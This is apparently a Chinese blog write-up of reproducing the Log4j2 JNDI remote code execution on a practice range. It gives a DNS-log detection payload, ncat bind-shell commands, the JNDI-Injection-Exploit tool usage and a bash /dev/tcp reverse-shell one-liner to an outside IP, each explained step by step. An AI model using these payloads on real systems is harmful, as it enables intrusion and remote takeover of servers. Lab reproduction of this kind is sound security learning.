记录一下第一次复现漏洞的操作
探测漏洞
利用到的工具:
burp suite
dnslog平台
靶场
封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。
Apache Log4j2 RCE - Bugku CTF平台
这里复现的是封神台靶场
步骤
抓了一个登录的包修改参数探测是否有log4j2漏洞
利用dnslog平台构造payload
${jndi:ldap://${sys:java.version}.2496167e3a.ipv6.1433.eu.org.}
发完包后看到dns平台上带着java版本,说明存在log4j2漏洞
除了这个${sys:java.version}还可以看看下面的key
利用log4j2漏洞
利用到的工具有:
exp生成工具
https://github.com/welk1n/JNDI-Injection-Exploit?tab=readme-ov-file
编码工具
Runtime.exec Payload Generater | AresX's Blog
公网服务器(免费)
高防服务器_游戏服务器_香港云服务器_免费云服务器【阿贝云】
利用方式为反弹shell
反弹shell
这里是反弹shell的基础示例
正向连接
只需要让被攻击机监听
Windows控制Linux
Linux需要ncat -e /bin/sh -lvp 5566
解释
这个命令会让 Ncat 在本地 5566 端口上启动监听,并在有客户端连接时,提供一个 /bin/sh
的 shell,允许远程用户执行命令。
Windows直接连接目标IP的端口
Linux控制Windows
同理此时需要windows开启监听,输入:
ncat -e cmd -lvp 5566
Linux直接连接
ncat 192.168.0.105 5566
反向连接
只需要让攻击机监听即可
Windows控制了Linux
现在自己的攻击机上监听端口
在被攻击机上将自己的命令窗口给出去,给到攻击机的IP上
攻击机会立马有反应,可以执行命令,此时Windows控制了Linux
Linux控制Windows
Linux需要监听自己的端口了
Windows把自己的cmd给到攻击机上
Linux攻击机会立马有反应
安装exp工具
在服务器上安装exp工具
安装好后检查服务器上的 1099、1389、8180端口是否可用
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
- -C - 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
- -A - 服务器地址,可以是IP地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
命令结构
bash -i >& /dev/tcp/111.173.104.224:7777 0>&1
1. bash -i
bash
是 Linux 系统中的 Bourne Again Shell,是一种常见的命令解释器。-i
表示以交互式模式运行 shell,即允许用户与 shell 进行交互(即使没有 TTY 也能模拟交互式操作)。
2. >& /dev/tcp/111.173.104.224:7777
>&
:这是一个文件描述符重定向符号,表示将标准输出(stdout
)和标准错误(stderr
)同时重定向到指定目标。/dev/tcp/111.173.104.224:7777
:
-
/dev/tcp/
是 Bash 提供的一个特殊文件接口,用于通过 TCP 协议进行网络通信。111.173.104.224
是目标服务器的 IP 地址。7777
是目标服务器的监听端口。
此部分表示将 Bash 的输出通过 TCP 发送到 111.173.104.224:7777
。
3. 0>&1
0
:表示标准输入(stdin
)。>&1
:将标准输入重定向到标准输出的位置。- 这个操作使得远程主机的输入能够被传递给本地 Bash 的标准输入,从而实现交互。
命令的整体逻辑
- 通过
bash -i
创建一个交互式 Bash 会话。 - 使用
/dev/tcp/
将标准输出(stdout
)和标准错误(stderr
)发送到目标服务器的 IP 和端口(111.173.104.224:7777
)。 - 将目标服务器通过端口
7777
发送的输入数据传递给 Bash 的标准输入(stdin
)。
结果:
- 在目标服务器(
111.173.104.224
)上监听端口7777
的攻击者会接收到反弹的 shell,从而控制运行此命令的主机。
将shell命令base64编码
放到-C后面
-A后面添加公网IP
运行工具生成,其中紫色为生成出来的payload,观察自己的网站能用哪个,用哪个
java -jar JNDI-Iniection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的结果" -A "公网IP"
新开一个窗口监听7777
这里我用的是第一个,需要url编码
编码后的结果,放到有漏洞的点上
监听窗口会立马显示上线
成功拿到shell
更详细的可以看看下面这个文章